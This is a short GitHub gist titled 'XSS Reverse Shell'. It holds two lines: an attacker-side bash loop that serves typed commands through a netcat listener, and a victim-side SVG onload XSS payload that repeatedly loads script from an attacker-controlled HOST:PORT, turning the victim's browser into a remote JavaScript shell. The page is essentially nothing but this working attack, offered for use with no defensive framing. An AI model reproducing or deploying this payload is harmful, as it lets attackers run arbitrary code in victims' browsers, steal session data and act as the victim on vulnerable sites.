Skip to content

Instantly share code, notes, and snippets.

@filipesam
Forked from ivanvza/xss_shell.txt
Created August 2, 2023 08:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save filipesam/35e8521584f8a985541ef72a9a65c8ac to your computer and use it in GitHub Desktop.
Save filipesam/35e8521584f8a985541ef72a9a65c8ac to your computer and use it in GitHub Desktop.
XSS Reverse Shell
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment